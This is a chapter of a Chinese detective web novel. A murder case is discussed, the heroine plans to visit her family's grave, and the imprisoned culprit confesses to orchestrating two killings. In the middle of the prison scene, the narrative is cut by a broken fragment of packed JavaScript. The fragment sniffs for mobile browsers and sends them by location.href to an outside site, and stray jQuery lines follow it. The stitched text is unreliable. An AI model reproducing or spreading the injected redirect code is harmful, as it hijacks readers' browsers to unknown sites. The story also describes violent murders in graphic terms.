16. 丧心病狂

作品:《大理寺第一女少卿(探案)

    闻言,顾西辞的情绪忽而低落,眸光愈发沉郁,便是连那凌厉的气势都好似弱了几分。


    他慢慢摇头。


    段璋抬手拍在他肩头:“阿辞,是时候放弃了,当年,那押送的差役说她病入膏肓,已然无治,加之她自己也断了生的念头,便将她弃之荒野,那样的无人之地,她……活着的可能性不大。”


    顾西辞抬头看向明月:“只要一日未能寻到她的尸骨,我便不信她已经死了。”


    “你……”段璋被气的无奈,“下次什么时候走?”


    “除夕后。”说完,他忽而抬头看向段璋,“还不打算告诉我?”


    段璋微微歪头看他:“告诉你什么?”


    “此案我们虽是先发现徐雨彤的尸体,但程砚秋杀的第一个人乃是聂弘,他带着徐雨湘仿徐雨彤笔迹的信件骗出聂弘,随后生拔他下、身,再丢弃至他住处地窖内让他流血而亡,在此期间,你曾见过聂弘。”


    段璋轻笑:“果然什么都瞒不过你。”


    “我知你怀疑当年的案件,聂侍郎可能参与其中,是以,在你察觉有人要谋害聂弘时便未阻止,任由事情发生,目的便是自聂弘口中询问出当年之事。”


    段璋若无其事的轻笑。


    “可有问出什么?”


    “如你所料,他当年也不过是个十来岁的孩子,什么都不知道。”


    闻言,顾西辞沉默不语。


    段璋抬头与他对视:“你无需这样看我,我赶到时,他已失血过多,气若游丝,便是想救也救不了,况且,那徐家大小姐对他可谓恨之入骨,如此才对他用此残忍手法杀死,便是能勉强救过来,只怕他也不愿再活下去。”


    顾西辞不欲再言,只转身便走:“回去吧。”


    看着他的背影融于黑暗,段璋无奈摇头苦笑,声音微扬:“竖子,当真无情。”


    ——


    次日一早,沈卿尘早早醒来,甫一撩开罗帷,却见满室晴晖,心情不由大好,遂立刻起身穿衣洗漱。


    不多时,屋门忽被推开,日光倾泻满地,如霜雪皆白,却叫人心头顿生暖意。


    随即,长夏捧着漆木托盘进门,瞧见姑娘竟是醒了,便道:“案子破了,酒楼今日开店,掌柜为感谢姑娘帮忙,说是日后姑娘在此的居住所食所用皆免费提供。”


    “倒也是个有心的。”沈卿尘说着,对镜将最后一支银簪插于云髻上,转身瞧着长夏将早饭摆好,“今日天气甚好,不若你与我一道去小相国寺如何?”


    长夏便摆放长箸边问:“姑娘怎会忽然想去小相国寺?可是有什么心愿?”


    沈卿尘摇头:“我如今唯一的心愿便是替父昭雪。”


    顿了顿,她接着道:“早几年,师父云游四方时,曾到过长安,为此替我打问了当年之事,问出爹与兄长的尸首曾被人收敛后葬入小相国寺后山,我……想去祭拜。”


    闻言,长夏手上动作一顿,直起腰身看她,神色略显担忧:“临行前,师父曾交代,让你莫要去祭拜老爷,当心被人瞧了去,若身份暴露,必然要引来杀身之祸。”


    沈卿尘自是知道她在这偌大长安城中是步履维艰、如履薄冰。又一无权势,二无人脉,一个不慎便可能葬送性命。


    可如今既是回了这长安,她便不能不去祭拜父兄。


    “我既是要为我沈家复仇,又岂会这般轻易便送了自己性命,自是会小心再小心的。”


    “是。”长夏知晓她素来主意正,一旦做了决定便不会更改,转身便去箱笼里收拾衣物,“如今正值冬日,山上比山下更冷,此去定然是要住上几日的,衣物等是要带够了的。”


    沈卿尘并未答话,只自顾吃面前的早点。


    片刻后,长夏将箱笼整理好,方才起身:“姑娘昨日应下聂侍郎的请求,说要为他寻那失踪的二公子,这般会不会耽搁?”


    “无妨。”沈卿尘示意她坐下一道用饭,“聂弘惨死,这几日他们府上定然是要为他置办丧仪的,少说也要半月之久,倒也不着急。”


    饭后,两人收拾后便打算启程,谁知门外忽传来敲门声,六子的声音在外响起。


    “沈姑娘,您在吗?”


    长夏拉开房门,瞧见六子微微躬身立于门外:“何事?”


    “大理寺来了人,说是要请沈姑娘去大理寺狱,那徐大小姐点名要见沈姑娘。”


    长夏蹙眉,明显不悦:“案子已经破了,人证物证都有,那徐雨湘也已承认自己的罪行,为何还要见我家姑娘?”


    “小人也不知,只说是劳烦沈姑娘走一趟,该是遇到什么难事了。”


    六子话音方落,两名身着大理寺公服的衙役便出现在门前,双双拱手恭敬道:“劳烦沈姑娘随我们去一趟大理寺狱,犯人忽然改口不肯认罪,说要见了姑娘才肯开口。”


    沈卿尘自长夏身后走出:“那我便走一趟,劳烦带路。”


    ——


    自含光门入皇城,左转不多远便可瞧见坐北朝南威严壮阔的大理寺衙门,朱漆大门上钉着九九八十一颗铜钉,两侧立着足有一丈高的两座獬豸石像,怒目圆睁,似是要看破世间一切冤屈。


    沈卿尘深吸口气,随着衙差进入门内,转过雕刻“明刑弼教”四个大字的青石照壁,便是可容纳百人的正堂。


    不待沈卿尘看的仔细,衙差便请她继续往前,穿过西侧的月洞门,地势陡然下降,竟是通往刑房的台阶。


    像是陡然进入另一个世界,光亮在眼前消失,一股潮湿的霉味夹着铁锈味直钻入鼻腔,便是连温度都骤然下降,直到最后一级台阶,方才觉着有了些温度,只因眼前似乎望不见头的甬道内燃着火把。


    明明灭灭的火光映照出墙壁上挂着的不知名的刑具,沈卿尘心底骤然一阵紧缩,便是连呼吸都十分不畅。


    她似是看到八年前,父兄陷于牢狱,而这些刑具用在他们身上时的惨烈景象。


    呼吸不稳,她的脚步便有些虚浮,脸色亦是煞白。


    “姑娘……”长夏连忙搀扶她手臂,满脸担忧。


    “沈姑娘可是怕了?若沈姑娘这般胆小,只怕这大理寺便不适合姑娘。”


    顾西辞冷锐低沉的声音忽从里面传来,虽无嘲讽,却让听的人极为不适。


    沈卿尘示意长夏不必搀扶,扬声道:“不过是一时的不适应罢了,倒也不至于害怕。”


    甬道尽头便是开阔可容纳数十人的刑房,刑具更是数不胜数,光是瞧着便让人胆战心惊。


    沈卿尘只扫了一眼,便望向通往更里侧的漆黑甬道,里头不时传出痛苦哀嚎与不清不楚的疯言疯语。


    没瞧见顾西辞。


    “这里。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530635|169781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >他的声音自甬道内传出,沈卿尘不作犹豫直接进去。


    甬道两侧则是一间间牢房,里头或关押一人,或二人同住,也有三人四人,甚至五人同关一间牢房的,见有人进来,那些或疯或傻的便立刻扑到门前,朝外伸出手,大声呼叫冤枉。


    沈卿尘面不该色,甬道宽敞,无论他们如何伸长了手臂,也是触碰不到她半分。


    里侧忽然传来一声凌厉鞭声,那些犯人立刻如同见了猫的耗子,顷刻躲进阴影处不再冒头。


    顾西辞人高腿长,此时他斜斜靠在铁栅上,自有一股散漫不羁却又令人生畏之感。


    沈卿尘只看他一眼,便转头看向牢房内如老僧入定一般坐在木板床上的徐雨湘,她身上所穿囚衣虽有些脏污,却并未血迹,可见顾西辞并未对她用刑。


    “你来了。”徐雨湘睁开眼睛,微微扬起一边嘴角,瞧着她笑,“我原以为你厌恶我,不会来见我。”


    沈卿尘沉默不语,她兀自继续说:“我几次三番向你示好,不看身份门第,想与你交好,你却不肯点头回应,可是因你早已知晓我是凶手?”


    “是。”沈卿尘并不想与她多费口舌,“此案简单便简单在死的两人关系容易查出,再听闻聂弘与你之关系,更不难判断,而你不正是因此才费尽心思,制造不在场证明,甚至将嫌疑一次次引向那并不存在的毁容姑娘。”


    “若我能早些认识你便好了。”徐雨湘颓然笑道。


    沈卿尘却是摇头:“仇恨在你心中早已根深蒂固,你苦恼于徐夫人与徐二姑娘对你的控制,加之采花贼之劫和抢未婚夫之仇,你对他们的恨岂是与我相识便能轻易抹除的。”


    徐雨湘忽然变得激动,颤抖着声音询问:“你究竟是如何知晓我受控于她们母女的?”


    “其一便是你那像海棠却是梨花的花纹,其二便是你房中摆设。”沈卿尘微微挑眉,“我去你房中时,只觉得你房中摆设十分怪异,好似与正常摆设皆是相反,我问过你的婢女,你的惯用手可是左手,她说是右手,而你梳妆台上所有的胭脂水粉皆是置于左侧,你宁愿忍着不便也要这样摆放,足以可见你心中的反抗意识有多强烈。”


    徐雨湘忽然大笑起来,笑着笑着便开始哭:“你说的不错,我就是恨他们,我恨不得将他们千刀万剐,碎尸万段,无论是徐雨彤还是聂弘,他们的死法都是我让程砚秋做的,若非为了脱罪,我真想亲手杀了他们,看他们临死前的痛苦模样。”


    她忽然自木板床上起身,双手颓然垂于身侧,脸上挂着邪恶的笑容,一步步走到铁栅边,狞笑着说:“我不妨再告诉你一个秘密。”


    “其实,聂弘与徐雨彤早已相互倾慕,他曾与我说过,此生非徐雨彤不娶,求我成全他们,彼时,我还尚未与他订亲,听到他这话,我便央求父亲尽快与他订亲,而后,我以徐雨彤的名义约聂弘出来,再给他们二人下药,是以,徐雨彤才会怀了聂弘的孩子……”


    闻言,沈卿尘与顾西辞皆是面露诧异与鄙夷。


    她看着二人面色,笑的愈发癫狂:“你们抓了我又如何?我想杀的人,一个都跑不掉。”


    话毕,一滴泪忽从她眼角滚落。


    沈卿尘心头猛然一惊,一股凉气爬上背脊,她转头看向顾西辞,在他脸上亦是瞧见一抹惊讶。


    “徐夫人有危险……”